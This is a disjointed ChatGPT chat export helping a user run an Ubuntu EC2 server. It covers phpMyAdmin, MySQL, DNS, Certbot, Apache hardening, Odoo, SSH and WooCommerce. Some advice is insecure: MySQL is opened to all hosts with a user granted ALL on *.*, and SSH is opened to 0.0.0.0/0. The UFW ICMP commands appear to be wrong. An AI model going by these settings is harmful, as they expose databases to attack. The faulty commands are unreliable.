You’ll also be asked to configure phpMyAdmin with a database. Choose Yes and provide your MySQL root password.
Step 4: Configure Apache for phpMyAdmin
After installation, phpMyAdmin will not be automatically configured. You need to manually enable it.
Create a symbolic link from phpMyAdmin to your Apache web root directory:
sudo ln -s /usr/share/phpmyadmin /var/www/html/phpmyadminRestart Apache to apply changes:
sudo systemctl restart apache2Step 5: Configure MySQL to Allow Remote Access (Optional)
If you want to access MySQL remotely, follow these steps:
Open the MySQL configuration file:
sudo nano /etc/mysql/mysql.conf.d/mysqld.cnf
Find the bind-address line and change it to 0.0.0.0:
ini
bind-address = 0.0.0.0Restart MySQL:
sudo systemctl restart mysqlCreate a MySQL user for remote access:
CREATE USER 'username'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'username'@'%';
FLUSH PRIVILEGES;Step 6: Open EC2 Security Group for phpMyAdmin Access
To access phpMyAdmin from the web, ensure that port 80 (HTTP) or 443 (HTTPS) is open in your EC2 security group:
Go to your EC2 Dashboard > Security Groups.
Select the security group associated with your EC2 instance.
Click Edit Inbound Rules and add rules to allow traffic on ports 80 (for HTTP) and/or 443 (for HTTPS).
Step 7: Access phpMyAdmin
You can now access phpMyAdmin by going to the following URL in your browser:
http://your-ec2-public-ip/phpmyadmin
Replace your-ec2-public-ip with the public IP address of your EC2 instance.Step 8: Secure phpMyAdmin (Optional)
For security reasons, it’s a good idea to limit access to phpMyAdmin to certain IP addresses or to set up SSL:
Limit Access (Optional): You can limit phpMyAdmin access to specific IP addresses by editing Apache’s configuration file:
sudo nano /etc/apache2/conf-available/phpmyadmin.confAdd the following lines inside the <Directory /usr/share/phpmyadmin> section:
<Directory /usr/share/phpmyadmin>
Require ip your-ip-address
Require all denied
</Directory>Set Up SSL (Optional): If you plan to use phpMyAdmin in production, it’s strongly recommended to set up SSL for secure access.
That’s it! You should now have phpMyAdmin up and running on your EC2 instance. Let me know if you need further help with any of these steps!
The error Access denied for user 'root'@'localhost' typically occurs when the PHP script is trying to connect to MySQL using the root user but cannot authenticate due to an incorrect password or insufficient privileges.
Here’s how you can resolve this:
Step 1: Verify MySQL Credentials
Ensure that the MySQL root user has the correct password set, and the credentials in your PHP script are accurate.
1.1. Log in to MySQL as root:
sudo mysql -u root -pIf the root password works here, then you know it's correct.
1.2. Check the user in the PHP script:
Open the file /var/www/html/partials/connect.php where the connection is being made and ensure that the credentials match the ones for the MySQL root user.
Example:
$mysqli = new mysqli("localhost", "root", "your_password", "database_name");
Replace "your_password" with the actual MySQL root password, and "database_name" with the correct database name.Step 2: Use a Different MySQL User (Best Practice)
It is not recommended to use the root user for web applications. Instead, create a separate MySQL user with limited privileges.
2.1. Create a new MySQL user:
CREATE USER 'your_user'@'localhost' IDENTIFIED BY 'your_password';
GRANT ALL PRIVILEGES ON your_database.* TO 'your_user'@'localhost';
FLUSH PRIVILEGES;
Replace 'your_user', 'your_password', and 'your_database' with your desired username, password, and the name of the database.2.2. Update the PHP script:
Modify /var/www/html/partials/connect.php to use the new user:
$mysqli = new mysqli("localhost", "your_user", "your_password", "your_database");Step 3: Update MySQL Root Password (If Necessary)
If you are unsure of the root password or if it's incorrect, you can reset it:
Log in to MySQL as root:
sudo mysql
Change the root password:
sql
ALTER USER 'root'@'localhost' IDENTIFIED BY 'new_password';
FLUSH PRIVILEGES;
Update the password in the PHP script as described earlier.Step 4: Check MySQL Error Logs
If the error persists, check MySQL logs for more specific issues:
sudo tail -f /var/log/mysql/error.logStep 5: Test the Connection
Try testing the database connection with a simple PHP script to ensure the credentials work:
<?php
$mysqli = new mysqli("localhost", "your_user", "your_password", "your_database");
if ($mysqli->connect_error) {
die("Connection failed: " . $mysqli->connect_error);
}
echo "Connected successfully";
?>
Access the script in the browser and verify if the connection is successful.
By following these steps, you should be able to resolve the "Access denied" error for MySQL and get your application running properly.hey i have bought a domain from namecheap.i have never done this before.what next do i do so that i canhave it lead to my website that i have hosted on ec2 on amazon
Congrats on your new domain! To link your Namecheap domain to your EC2 instance on Amazon, follow these steps to get your website accessible via your domain:
Step 1: Get Your EC2 Instance’s Public IP or Elastic IP
If you're using a public IP address for your EC2 instance, you'll need it to link the domain. If you plan to keep your site running long-term, it's a good idea to assign an Elastic IP to ensure the IP address doesn't change if your instance stops or restarts.
Get the public IP address of your EC2 instance from the AWS console.
Alternatively, assign an Elastic IP:
Go to the EC2 dashboard.
On the left sidebar, under Network & Security, click Elastic IPs.
Click Allocate Elastic IP address, then Associate Elastic IP with your EC2 instance.
Step 2: Set EC2 Security Group for HTTP/HTTPS
Ensure that your EC2 instance allows web traffic on port 80 (HTTP) and port 443 (HTTPS):
Go to your EC2 dashboard > Security Groups.
Select your instance’s security group.
Click Edit Inbound Rules and add:
Port 80 (HTTP) for web traffic.
Port 443 (HTTPS) if you plan to enable SSL.
Step 3: Configure Namecheap DNS Settings
Now, configure your Namecheap domain to point to your EC2 instance:
Log in to your Namecheap account.
Go to the Domain List tab and find your domain.
Click the Manage button next to your domain.
In the Nameservers section, select Namecheap Basic DNS.
Scroll down to Advanced DNS.
Under Host Records, add the following records:
A Record:
Host: @ (This represents your root domain, e.g., yourdomain.com)
Value: Enter your EC2 public IP or Elastic IP
TTL: Keep it at the default (Automatic or 1 minute)
CNAME Record (Optional, for www.yourdomain.com):
Host: www
Value: @ (This points www.yourdomain.com to the root domain yourdomain.com)
TTL: Keep it at the default.
Save the DNS changes.
Step 4: Wait for DNS Propagation
DNS changes can take some time to propagate (usually within minutes but may take up to 24 hours). You can check the status using DNS propagation checkers.
Step 5: Configure Your EC2 Instance's Web Server (Apache/NGINX)
Ensure that your web server (Apache or NGINX) is properly configured to serve your website:
For Apache:
Edit the virtual host configuration file for your website:
sudo nano /etc/apache2/sites-available/000-default.confAdd or update the ServerName and ServerAlias directives to point to your domain:
<VirtualHost *:80>
ServerName yourdomain.com
ServerAlias www.yourdomain.com
DocumentRoot /var/www/html
# Other configuration...
</VirtualHost>Restart Apache:
sudo systemctl restart apache2For NGINX:
Edit the NGINX configuration file for your site:
sudo nano /etc/nginx/sites-available/defaultUpdate the server_name directive:
server {
listen 80;
server_name yourdomain.com www.yourdomain.com;
root /var/www/html;
# Other configuration...
}Test the NGINX configuration and restart:
sudo nginx -t
sudo systemctl restart nginxStep 6: Set Up SSL (Optional, but Recommended)
For security, it’s highly recommended to enable HTTPS using SSL. You can use Let’s Encrypt to get a free SSL certificate.
Install Certbot (if using Apache or NGINX):
For Apache:
sudo apt install certbot python3-certbot-apache
sudo certbot --apacheFor NGINX:
sudo apt install certbot python3-certbot-nginx
sudo certbot --nginx
Certbot will automatically set up your HTTPS configuration and renew the certificate automatically.Step 7: Test Your Domain
Once DNS has propagated and the server is properly configured, visit your domain (yourdomain.com) and verify that your website is up and running.
Let me know if you need help with any specific step!
You said:
Certbot failed to authenticate some domains (authenticator: apache). The Certificate Authority reported these problems:
Domain: nairobiskates.com
Type: dns
Detail: no valid A records found for nairobiskates.com; no valid AAAA records found for nairobiskates.com
Hint: The Certificate Authority failed to verify the temporary Apache configuration changes made by Certbot. Ensure that the listed domains point to this Apache server and that it is accessible from the internet.
Some challenges have failed.
Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more details.
ChatGPT said:
ChatGPT
The error you're seeing indicates that Let’s Encrypt couldn’t verify your domain because there are no valid A records (or AAAA records for IPv6) pointing to your EC2 instance’s IP address for the domain nairobiskates.com.
Here's what you can do to fix this:
Step 1: Verify Your Domain's DNS Settings
Check DNS Records on Namecheap:
Go to your Namecheap account and verify that the A record is correctly set for nairobiskates.com.
The A record should point to your EC2 instance’s public IP or Elastic IP.
In Namecheap:
Host: @ (this represents your root domain, e.g., nairobiskates.com)
Value: The public/Elastic IP address of your EC2 instance.
TTL: Keep it as default.
You can also add a CNAME record for www.nairobiskates.com to point to nairobiskates.com:
Host: www Value: @ (to point to the root domain). Check DNS Propagation:
Use a tool like WhatsMyDNS to check whether DNS changes have propagated globally. Enter your domain (nairobiskates.com) and check the A record. If the A record hasn’t propagated yet, you’ll need to wait for it to complete (this can take up to 24 hours). Step 2: Confirm EC2 Instance Accessibility Ensure that your EC2 instance is accessible via the public IP and that HTTP traffic (port 80) is allowed in the security group.
Security Group Settings: Ensure port 80 (HTTP) and port 443 (HTTPS) are open for inbound traffic in your EC2 security group. Step 3: Retry Certbot After DNS Propagation Once the DNS records are properly set and propagated, retry generating the SSL certificate.
Run Certbot again:
sudo certbot --apacheFollow the prompts to choose the domains you want to secure (e.g., nairobiskates.com and www.nairobiskates.com).
Step 4: Review Certbot Logs (If It Fails Again)
If Certbot still fails, check the logs for more detailed errors:
sudo cat /var/log/letsencrypt/letsencrypt.log
This will provide more information on what went wrong, helping you troubleshoot further.By ensuring your DNS is correctly set up and the EC2 instance is accessible, you should be able to resolve the issue and successfully obtain the SSL certificate for your domain.
ubuntu@ip-172-31-26-95:~$ sudo certbot --apache
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Which names would you like to activate HTTPS for?
We recommend selecting either all domains, or all domains in a VirtualHost/server block.
1: nairobiskates.com
Select the appropriate numbers separated by commas and/or spaces, or leave input
blank to select all options shown (Enter 'c' to cancel): 1,2
Requesting a certificate for nairobiskates.com and www.nairobiskates.com
Certbot failed to authenticate some domains (authenticator: apache). The Certificate Authority reported these problems:
Domain: nairobiskates.com
Type: dns
Detail: DNS problem: looking up A for nairobiskates.com: DNSSEC: DNSKEY Missing: validation failure <nairobiskates.com. A IN>: No DNSKEY record from 156.154.150.1 and 2610:a1:1024::200 for key
nairobiskates.com. while building chain of trust; DNS problem: looking up AAAA for nairobiskates.com: DNSSEC: DNSKEY Missing: validation failure <nairobiskates.com. AAAA IN>: No DNSKEY record from
2610:a1:1017::10 and 156.154.133.200 for key nairobiskates.com. while building chain of trust
Domain: www.nairobiskates.com
Type: dns
Detail: DNS problem: looking up A for www.nairobiskates.com: DNSSEC: DNSKEY Missing: validation failure <www.nairobiskates.com. A IN>: No DNSKEY record from 2001:502:4612::10 and 2610:a1:1025::200 for key
nairobiskates.com. while building chain of trust; DNS problem: looking up AAAA for www.nairobiskates.com: DNSSEC: DNSKEY Missing: validation failure <www.nairobiskates.com. AAAA IN>: No DNSKEY record from
156.154.66.10 and 2610:a1:1025::200 for key nairobiskates.com. while building chain of trust
Hint: The Certificate Authority failed to verify the temporary Apache configuration changes made by Certbot. Ensure that the listed domains point to this Apache server and that it is accessible from the
internet.
Some challenges have failed.
Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more details.
ubuntu@ip-172-31-26-95:~$ sudo certbot --apache
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Which names would you like to activate HTTPS for?
We recommend selecting either all domains, or all domains in a VirtualHost/server block.
1: nairobiskates.com
Select the appropriate numbers separated by commas and/or spaces, or leave input
blank to select all options shown (Enter 'c' to cancel): 1,2
Requesting a certificate for nairobiskates.com and www.nairobiskates.com
Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/nairobiskates.com/fullchain.pem
Key is saved at: /etc/letsencrypt/live/nairobiskates.com/privkey.pem
This certificate expires on 2024-12-19.
These files will be updated when the certificate renews.
Certbot has set up a scheduled task to automatically renew this certificate in the background.
Deploying certificate
Successfully deployed certificate for nairobiskates.com to /etc/apache2/sites-available/000-default-le-ssl.conf
Successfully deployed certificate for www.nairobiskates.com to /etc/apache2/sites-available/000-default-le-ssl.conf
Congratulations! You have successfully enabled HTTPS on https://nairobiskates.com and https://www.nairobiskates.com
If you like Certbot, please consider supporting our work by:
-
Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate
-
Donating to EFF: https://eff.org/donate-le
i have created the file in /var/www/html but no change yet
ChatGPT said:
ChatGPT
If you've created the .htaccess file in /var/www/html and it's not having any effect, it could be because Apache is not configured to allow .htaccess overrides by default. You need to ensure that the
AllowOverride directive is enabled in your Apache configuration.
Here’s how to enable .htaccess and ensure your settings take effect:
Step 1: Enable .htaccess Overrides
Open your Apache configuration file for editing:
sudo nano /etc/apache2/apache2.conf
Find the directory block for your document root (typically /var/www/ or /var/www/html). It will look something like this:<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
Change AllowOverride None to AllowOverride All to allow .htaccess to take effect:
apache
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
Save the file and exit (in nano, press CTRL + X, then Y, then Enter).
Step 2: Restart Apache
To apply the changes, restart Apache:
```bash
sudo systemctl restart apache2Step 3: Verify .htaccess Settings
Now that AllowOverride All is set, the .htaccess file should work. Double-check that the .htaccess file in /var/www/html/ contains the following:
Options -IndexesStep 4: Check Permissions (if still not working)
Make sure the .htaccess file and the directories have the correct permissions:
Set permissions for .htaccess:
sudo chmod 644 /var/www/html/.htaccessEnsure the Apache user (usually www-data) has read access to the directory and file.
Step 5: Test the Directory Listing Again
Try accessing the /cozastore/admin directory in the browser again. If everything is set up correctly, directory listing should be disabled, and you should see either a 403 Forbidden page or your index page if one exists.
Let me know if you run into any issues!
it works nice,how do i hide this info shown here
Apache/2.4.58 (Ubuntu) Server at nairobiskates.com Port 443 from potential surveyors
ChatGPT said:
ChatGPT
To hide the Apache version, OS information, and other sensitive server details from being displayed in error pages or HTTP headers (like the one you mentioned), you can configure your Apache server to disable this information. Here's how:
Step 1: Disable Apache Version and OS Information in HTTP Headers
Open the Apache configuration file for editing:
sudo nano /etc/apache2/conf-available/security.confLook for the following directives in the file. If they aren’t present, you can add them manually:
ServerTokens: This controls what Apache includes in the Server HTTP response header. You want to set this to Prod (Production).
ServerSignature: This controls whether Apache shows its version and operating system in error pages. Set this to Off.
Update or add the following lines:
apache
ServerTokens Prod
ServerSignature Off
ServerTokens Prod: Ensures that only Apache is shown in the HTTP headers, without details like version or OS.
ServerSignature Off: Removes the version and OS information from the Apache-generated error pages.
Save the file and exit (CTRL + X, then Y, then Enter).
Step 2: Restart Apache to Apply the Changes
Once you’ve updated the configuration, restart Apache to apply the changes:
sudo systemctl restart apache2Step 3: Verify the Changes
You can verify that the information is hidden by:
Visiting an incorrect URL on your site (to trigger a 404 error) and checking that the footer no longer shows server details like Apache/2.4.58 (Ubuntu).
Using browser developer tools or curl to inspect the HTTP headers:
curl -I https://nairobi-skates.comYou should now see just Server: Apache, without any additional details.
This will hide sensitive information and reduce the chances of attackers targeting known vulnerabilities in your server software version.
Basic Steps to Delete a PostgreSQL Database
Log in as postgres user (or any other superuser):
If you're using a Unix-like system (Linux/macOS), log in as the postgres user:
sudo -u postgres psqlList all databases (optional):
To see which databases exist, use:
\l
This will list all available databases, including their names and owners.Disconnect from the target database:
Before deleting a database, you need to make sure no one (including yourself) is connected to it. You cannot drop a database you are currently using.
Switch to another database, like postgres:
\c postgresTerminate active connections (if needed):
If other users or applications are connected to the database, you need to terminate their connections before deleting the database:
SELECT pg_terminate_backend(pg_stat_activity.pid)
FROM pg_stat_activity
WHERE pg_stat_activity.datname = 'your_database'
AND pid <> pg_backend_pid();
Drop the database:
Once you’re sure no one is connected, you can delete (drop) the database:DROP DATABASE your_database_name;
Replace your_database_name with the actual database name.Exit PostgreSQL:
After you’ve deleted the database, you can exit the psql prompt:
\q
Full Command Example:sudo -u postgres psql
Then inside PostgreSQL:\l -- List databases
\c postgres -- Switch to another database
SELECT pg_terminate_backend(pg_stat_activity.pid)
FROM pg_stat_activity
WHERE pg_stat_activity.datname = 'my_database'
AND pid <> pg_backend_pid(); -- Terminate active connections
DROP DATABASE my_database; -- Delete the database
\q -- Exit PostgreSQL
Notes:
Superuser privileges are required to delete a database.
Backup your database if needed before deleting it.
pgAdmin can also be used as a GUI for managing PostgreSQL databases if you prefer not to use the command line.
This cheat sheet will help you quickly remove local databases safely.
The error message you're encountering indicates that the query you're executing is trying to access a table (ir_module_module) that does not exist in your PostgreSQL database. This typically happens when
either the database schema hasn't been properly initialized or the required Odoo modules have not been installed correctly.
Possible Causes and Solutions:
Database Schema Not Initialized:
The table ir_module_module is part of Odoo’s core module system. If it’s missing, it could mean that the Odoo database schema hasn't been created or hasn't been properly initialized.
Solution:
If this is a new database, make sure that you have properly created the Odoo database and installed the necessary base modules.
Run the following command to initialize the database:
./odoo-bin -d your_database_name -i base --db-filter=your_database_name$
This should create the necessary tables, including ir_module_module.
Database Mismatch or Corruption:
There could be an issue with the current database, such as missing tables due to a failed installation or migration.
Solution:
Try checking the integrity of the database and see if other core tables are present. You can list the tables in PostgreSQL:
sql
\dt
If many core tables are missing, it might be easier to recreate the database and reload the Odoo modules.
Incorrect Database Being Used:
The error message mentions polling on the root database. This could indicate that the wrong database is being used or that you haven’t properly selected your target Odoo database.
Solution:
Ensure that Odoo is connecting to the correct database by checking the configuration file (odoo.conf). Verify that the db_name is set correctly, or if no specific database is set, that the correct database is selected during the startup.
Module Installation Issues:
The base module (base) may not have been installed correctly, or there may have been an issue during its installation.
Solution:
Try reinstalling the base module:
bash
./odoo-bin -d your_database_name -u base
This will update the base module and potentially recreate the missing table.
Migration/Upgrade Issues:
If you are upgrading Odoo or migrating between different versions, the schema changes between versions could result in missing tables or fields.
Solution:
Review your upgrade or migration process. Make sure that you have run the migration scripts properly and that the necessary database changes have been applied.
Check Logs for Other Errors:
Review the Odoo logs carefully. Sometimes, earlier errors might provide more context about why this table is missing or why the query is failing.
Summary of Fix Steps:
Check if the correct database is being used (odoo.conf).
Reinstall or update the base module to ensure schema is correct.
If necessary, reinitialize the database schema:
bash
./odoo-bin -d your_database_name -i base
Let me know if you need more assistance with troubleshooting!If you're unable to ping your server and you're getting "Request timed out" when trying to ping your domain (nairobiskates.com), it could be due to the server's firewall or security settings blocking ICMP (ping) requests.
You can resolve this by allowing ICMP traffic in your server's security settings. Here are the steps to configure it:
- Configure Security Groups (AWS Specific)
If your server is hosted on Amazon AWS, you'll need to adjust the Security Groups to allow ICMP traffic. Here’s how:
Step 1: Log in to AWS Management Console
Go to the EC2 Dashboard.
Select Security Groups in the left-hand menu under Network & Security.
Step 2: Modify Security Group
Find the security group associated with your server instance (the one linked to your EC2 instance).
Select it, then click the Inbound Rules tab.
Click Edit Inbound Rules.
Step 3: Add ICMP Rule
Add a new rule for ICMP or All ICMP:
Type: Custom ICMP - IPv4 (or select Echo Request to only allow ping).
Protocol: ICMP
Source: 0.0.0.0/0 (allows pings from any IP; or restrict it to your specific IP range if needed).
Click Save rules.
Now your server should be able to respond to ping requests.
- Configure UFW (Ubuntu Firewall Specific)
If you're using UFW (Uncomplicated Firewall) on your server (common in Ubuntu), you need to allow ICMP through it.
Step 1: Check UFW Status
First, check if UFW is active:
sudo ufw statusIf it's inactive, you can skip the UFW configuration. If it's active, proceed to allow ICMP.
Step 2: Allow ICMP Through UFW
You can allow ICMP traffic by running this command:
sudo ufw allow proto icmpAlternatively, if you want to allow only ping (Echo Requests), you can use:
sudo ufw allow icmp- Modify iptables (Advanced Option)
If you're managing your firewall using iptables rather than UFW, you can allow ICMP by adding a rule:
sudo iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
Then save the iptables rules:sudo iptables-save > /etc/iptables/rules.v4- Check the Ping
After configuring your security group or firewall, try pinging your server again:
ping nairobiskates.comIf everything is configured correctly, your server should now respond to ping requests.
Yes, that's correct! When you associate an Elastic IP with your AWS EC2 instance, the Elastic IP becomes a static IP address that remains associated with your instance even if you stop and start it. Here’s a breakdown of how it works:
Key Points:
Elastic IP Address:
An Elastic IP is a static IP address designed for dynamic cloud computing.
Once you associate it with an EC2 instance, it will not change when you stop or start that instance.
Public IP Address:
The regular public IP assigned to an EC2 instance is dynamic and can change if you stop and then start the instance.
However, if you are using an Elastic IP, it overrides the dynamic public IP, so you won't have to worry about changes when you stop and start your instance.
What This Means for Your Connection:
Using Elastic IP: If you are using the Elastic IP to connect to your instance, your connection will remain the same, regardless of whether the instance is stopped and started. You will always connect to the instance using the Elastic IP address.
Using Default Public IP: If you were using the default public IP, it would change each time you stopped and started the instance, which would require you to use the new public IP to connect.
Example of Connecting: If you are using the Elastic IP, your SSH command will always look like this, even after stopping and starting:
ssh -i /path/to/your-key.pem ubuntu@your-elastic-ipSo, as long as you have the Elastic IP associated with your instance, you won’t need to worry about the IP changing after stopping or starting the instance.
i mean i had stopped the instance before i had associated with the elastic ip,so the public ipv4 address had changed and so this does not affect the pem key still
ChatGPT said:
ChatGPT
Correct, the change in the public IPv4 address due to stopping and starting your instance does not affect your .pem key or your ability to connect to the instance.
Clarification:
Elastic IP Not Yet Associated: If you stopped your instance before associating it with an Elastic IP, the dynamic public IP assigned to your instance will change when you start it again. This is normal behavior for non-Elastic IP addresses.
.pem Key Usage:
The .pem key (SSH key pair) is used for authenticating your SSH connection to the instance and is not tied to the public IP address.
You will still use the same .pem file for authentication regardless of any changes to the public IP.
Steps to Connect:
After associating the Elastic IP with your instance:
Use the Elastic IP for SSH access, like so:
ssh -i /path/to/your-key.pem ubuntu@your-elastic-ipIf you had not associated the Elastic IP before stopping the instance, you would use the new dynamic public IP when you start it again (until you associate an Elastic IP). However, since you have now associated the Elastic IP, you will use that IP address moving forward.
Conclusion:
In summary, even if the public IPv4 address changes, your .pem key remains unchanged and continues to work for SSH access. Just remember to connect using the Elastic IP going forward!
You said:
i am getting some issue here,the ec2 instance is not ssh anymore ssh -i ec2keypair.pem ubuntu@3.69.115.96
ssh: connect to host 3.69.115.96 port 22: Connection timed out
ChatGPT said:
ChatGPT
If you're encountering a "Connection timed out" error when trying to SSH into your EC2 instance, there could be several reasons for this issue. Here’s a checklist of things you can verify to troubleshoot the problem:
- Check Security Group Settings Ensure that the Security Group associated with your EC2 instance allows inbound traffic on port 22 (SSH):
Step 1: Go to the AWS Management Console.
Step 2: Navigate to EC2 > Instances.
Step 3: Select your instance and find the Security Groups in the description tab.
Step 4: Click on the Security Group link to edit its inbound rules.
Step 5: Ensure there is a rule allowing inbound SSH access:
Type: SSH
Protocol: TCP
Port Range: 22
Source: 0.0.0.0/0 (allows access from anywhere) or restrict it to your IP address.
- Check Instance State
Make sure your EC2 instance is in the running state:
Go to the EC2 Dashboard and check the status of your instance. If it's stopped or terminated, you'll need to start it.
- Verify the Elastic IP Association
Ensure that your Elastic IP is correctly associated with your instance:
Go to Elastic IPs in the EC2 Dashboard and check if the Elastic IP is associated with your instance.
- Check the Instance's Public IP
If you have associated an Elastic IP, use that for your SSH command. If not, ensure you're using the correct public IP address that is currently assigned to your instance.
- Network ACLs
Check the Network ACLs associated with the subnet where your instance is located:
Go to VPC > Network ACLs in the AWS Management Console.
Ensure the ACL allows inbound traffic on port 22.
- Firewall on the Instance
If you have configured a firewall (like UFW or iptables) on your instance, make sure it's allowing SSH connections.
UFW: Check the status and rules:
sudo ufw statusIf it's blocking, allow SSH:
sudo ufw allow sshiptables: List current rules to check for SSH blocking:
sudo iptables -L -n- Check the Instance's System Logs
Sometimes, the issue could be with the instance itself. Check the instance logs for any startup errors that might be causing the problem:
Go to the EC2 Dashboard > Instances, select your instance, and click on Actions > Monitor and troubleshoot > Get system log.
- Try a Different Network
If you are on a restricted network (like a corporate or educational network), try connecting from a different network to rule out network restrictions.
- Restart the Instance
If everything seems correct but you still can't connect, try restarting the instance. Sometimes this can resolve transient issues.
Example SSH Command
Once you have verified everything, use the following command to SSH into your instance (adjust the IP as necessary):
ssh -i /path/to/your-key.pem ubuntu@your-elastic-ipIf you follow these steps and still encounter issues, please provide any specific errors or behaviors you notice, and we can dig deeper into the problem.
You can definitely set up your WooCommerce store using a subdomain or subdirectory on your existing domain (nairobiskates.com). This way, you won't need to buy another domain, and you can still keep your primary website active.
Let me guide you through both options: using a subdomain or a subdirectory.
Option 1: Create a Subdomain (store.nairobiskates.com)
A subdomain is a "child" domain under your main domain, such as store.nairobiskates.com. Here's how to set it up:
Step 1: Create a Subdomain in Namecheap
Log into your Namecheap account.
Navigate to Domain List > Manage next to your domain.
Click the Advanced DNS tab.
Scroll down to the Subdomain section and click Add New Record.
Select A Record for the type.
In the Host field, type the subdomain you want, e.g., store.
In the Value field, enter the IP address of your VPS (your server's public IP address).
Set TTL to Automatic and click Save Changes.
Step 2: Configure Apache for the Subdomain
SSH into your VPS server.
Create a new virtual host configuration for the subdomain:
sudo nano /etc/apache2/sites-available/store.nairobiskates.com.confAdd the following configuration, replacing with your details:
<VirtualHost *:80>
ServerAdmin admin@nairoibiskates.com
ServerName store.nairobiskates.com
DocumentRoot /var/www/store
<Directory /var/www/store>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error_store.log
CustomLog ${APACHE_LOG_DIR}/access_store.log combined
</VirtualHost>Save the file and close it.
Step 3: Create the Subdomain Directory
Create the directory where you'll install WordPress:
sudo mkdir /var/www/store
Set proper permissions:
bash
sudo chown -R www-data:www-data /var/www/store
sudo chmod -R 755 /var/www/storeStep 4: Enable the Subdomain and Restart Apache
Enable the site:
sudo a2ensite store.nairobiskates.com.conf
Reload Apache:
bash
sudo systemctl reload apache2Now, you can install WordPress and WooCommerce in the /var/www/store directory just like you would for a regular website, following the steps from the previous guide. Access your store at store.nairobiskates.com!
Step 1: Install LAMP Stack (Linux, Apache, MySQL, PHP)
WooCommerce requires a LAMP environment to run, so let's install the required software.
1.1 Update your system
Open the terminal and run the following commands:
sudo apt update && sudo apt upgrade -y1.2 Install Apache
Apache will serve your WordPress website.
sudo apt install apache2 -y
Start Apache and enable it to start on boot:sudo systemctl start apache2
sudo systemctl enable apache21.3 Install MySQL
WooCommerce will use MySQL to store data.
sudo apt install mysql-server -yRun the MySQL security script to configure settings like removing the anonymous user and setting up root password:
sudo mysql_secure_installationLog into MySQL to create a database for WordPress:
sudo mysql -u root -pIn the MySQL shell, run the following to create a database and user:
CREATE DATABASE wordpress;
CREATE USER 'wordpressuser'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON wordpress.* TO 'wordpressuser'@'localhost';
FLUSH PRIVILEGES;
EXIT;1.4 Install PHP
WooCommerce requires PHP to run. Install PHP and required extensions:
sudo apt install php libapache2-mod-php php-mysql php-curl php-json php-cgi php-gd php-mbstring php-xml php-zip -yAfter installing PHP, restart Apache:
sudo systemctl restart apache2Step 2: Download and Install WordPress
2.1 Download WordPress
Navigate to the Apache root directory and download WordPress:
cd /var/www/html/
sudo wget https://wordpress.org/latest.tar.gz
sudo tar -xvzf latest.tar.gz
sudo rm latest.tar.gz
sudo mv wordpress/* .
sudo rm -rf wordpress2.2 Configure WordPress
Create a configuration file by copying the sample configuration:
sudo cp wp-config-sample.php wp-config.phpEdit the wp-config.php file:
sudo nano wp-config.phpFind the database settings and update them with your MySQL database credentials:
// Replace with your actual database details
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wordpressuser' );
define( 'DB_PASSWORD', 'password' );
define( 'DB_HOST', 'localhost' );
Save the file by pressing CTRL + X, then Y, and Enter.2.3 Set Permissions
Make sure Apache can access the WordPress files:
sudo chown -R www-data:www-data /var/www/html/
sudo chmod -R 755 /var/www/html/Step 4: Install WooCommerce
4.1 Install WooCommerce Plugin
In your WordPress dashboard, go to Plugins > Add New.
In the search bar, type WooCommerce.
Click Install Now, then Activate.
4.2 Configure WooCommerce
Once WooCommerce is activated, it will launch a setup wizard. This wizard will guide you through the basic setup:
Store Details: Enter your location, currency, and product types.
Payment Options: Set up payment gateways like PayPal, Stripe, or offline payments.
Shipping Options: Configure your shipping zones, methods, and rates.
Recommended Features: You can choose to install additional plugins like Mailchimp or automated taxes.
Step 5: Add Products and Customize Your Store
Add Your First Product:
Go to Products > Add New in the WordPress dashboard.
Fill in your product’s name, description, price, and category.
Add images, set stock levels, and configure other options.
Click Publish to make the product live.
Customize Your Theme:
Navigate to Appearance > Themes.
Install and activate a WooCommerce-compatible theme like Storefront.
Customize your theme’s look and feel by going to Appearance > Customize.
Step 6: Secure Your Store (Optional but Recommended)
6.1 Install SSL
To ensure secure transactions, you should install an SSL certificate.
If you're using a VPS provider like DigitalOcean, they typically provide an option to install an SSL certificate via Let's Encrypt.
Install Certbot (Let's Encrypt client) and configure SSL:
sudo apt install certbot python3-certbot-apache -y
sudo certbot --apacheFollow the instructions to configure SSL for your domain.
6.2 Enable Firewall
Set up basic firewall rules:
sudo ufw allow 'Apache Full'
sudo ufw enableStep 7: Testing Your Store
Visit your domain (http://yourdomain.com) and test the functionality:
Browse Products: Check how the store looks and navigates.
Add to Cart: Add products to the cart and proceed to checkout.
Test Payments: If you’ve set up a payment gateway like PayPal, perform a test transaction.
You're Done!
You’ve successfully set up WooCommerce on your Linux server. Now you can further customize the store, add more products, set up advanced features, and start selling!
how to pull an entire folder
ChatGPT said:
ChatGPT
To pull an entire folder from an FTP server, you generally need to use either a command-line tool that supports recursive downloads or a graphical FTP client that allows you to download directories. Here's how you can do it with both methods.
- Using Command-Line Interface (CLI)
For Linux/macOS
You can use the wget command, which supports recursive downloads over FTP.
Step 1: Install wget (if it's not installed)
If wget is not already installed, you can install it:
Ubuntu/Debian:
sudo apt-get install wgetmacOS (with Homebrew):
brew install wgetStep 2: Use wget to download the entire directory
Use the following command to download an entire folder recursively from an FTP server:
wget -r --ftp-user=your-username --ftp-password=your-password ftp://ftp.example.com/path/to/directory/This will download all the contents of the specified folder (including subdirectories) to your local machine.
-r: Stands for "recursive," allowing you to download the directory and its contents.
--ftp-user: Your FTP username.
--ftp-password: Your FTP password.
Example:
wget -r --ftp-user=username --ftp-password=password ftp://ftp.example.com/files/For Windows (or other OS using ftp command)
The built-in ftp command-line client does not support recursive downloading. If you're using Windows, you can use PowerShell or tools like WinSCP or FileZilla (see GUI methods below).
